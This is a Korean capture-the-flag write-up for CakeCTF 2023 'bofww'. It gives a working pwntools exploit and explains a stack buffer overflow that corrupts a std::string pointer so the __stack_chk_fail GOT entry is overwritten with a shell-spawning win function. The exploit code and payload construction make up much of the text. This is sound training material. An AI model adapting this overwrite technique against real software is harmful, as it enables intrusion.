[2023CakeCTF] bofww

Exploit code

from pwn import *

context.log_level = 'debug'

p = remote('ip addr',9002)

#PIE가 적용되지 않은 binary라, 위치가 고정되어 있음
scf = 0x404050 #stack_chk_fail의 got 위치
win = 0x4012f6 #쉘을 실행할 수 있는 win함수의 위치

pause()
p.sendlineafter(b'name? ',p64(win)+b'A'*(0x128)+p64(scf)+p64(0)+p64(0x404000))
p.sendlineafter(b'you? ',b'B')
p.interactive()

WriteUp

우선 주어진 바이너리의 소스코드는 다음과 같았다.

#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

win함수가 어떠한 방법으로 실행되면 쉽게 쉘을 획득할 수 있을 것 같다. 그리고 input_person에서 버퍼 오버플로우가 발생한다. 그리고 input_person의 local variable _name을 main의 local variable name에 대입한다.

cpp에서 string은 문자열 주소값과 size 등을 가지는 구조체처럼 동작한다.

만약 name의 주소값을 stack_chk_fail의 got의 주소로 바꾸고 해당 주소에 win을 대입한다면, stack smash되어 해당 함수가 작동하려 할 때 쉘을 획득할 수 있을 것이다.

이것을 하기 위해, cpp string구조체의 간단한 구조와 _name, name간의 오프셋을 획득할 수 있어야 한다.

std::string

SSO(small string optimization)이 적용된 std::string객체의 기본적인 형태는 다음과 같다.

class string {
public:
private:
    std::unique_ptr<char[]> m_data;
    size_type m_size;
    size_type m_capacity;
    std::array<char, 16> m_sso;
};

다만 실제 구현은 이와 같지 않고, 이러한 식이라고 한다.

class string {
public:
private:
    size_type m_size;
    union {
        class {
            std::unique_ptr<char[]> m_data;
            size_type m_capacity;
        } m_large;
        std::array<char, sizeof(m_large)> m_small;
    };
};

결국 중요한 것은 SSO로 구현된 std::string의 경우 객체 내부에 문자열의 주소와 문자열을 물리적으로 저장한다는 것이다. 적절한 주소를 알아낼 수만 있다면 이 값을 변경할 수도 있을 것이다.

더군다나 stack의 특성상 main의 스택 프레임보다 input_person의 스택 프레임이 더 위에 위치한다. 버퍼 오버플로우가 발생하면 main의 객체의 값을 덮어쓸 수 있음을 의미한다.

offset

pwndbg를 이용해 디버깅해보면,


_name은 input_person함수의 rbp-0x110


name은 main함수의 rbp-0x40에 위치함을 알 수 있다.
그래서 offset을 계산해 보기 위해 python을 사용해 보면,

이렇게 된다. 그러면 페이로드를 대강 구성할 수 있게 된다.

덮을 쉘 함수 + 버퍼 더미 + string주소를 덮을 got주소 순이다.

#실패한 페이로드
payload = p64(win) + b'A'*(0x130-0x8) + p64(got)

그러나 이대로는 문제가 풀리지 않았다. got주소 뒤에 더미가 필요한데, string객체를 덮는 것이기에 올바르게 작동하기 위해선 size 및 더미 문자열이 필요한 것으로 생각된다.

#성공한 페이로드
payload = p64(win) + b'A'*(0x130-0x8) + p64(got) +p64(0) + p64(0x404000)

그러면 쉘을 획득할 수 있다.

참고로 docker를 이용해 다른 컴퓨터에서 서버를 돌리는 거라 실제 flag는 아니다.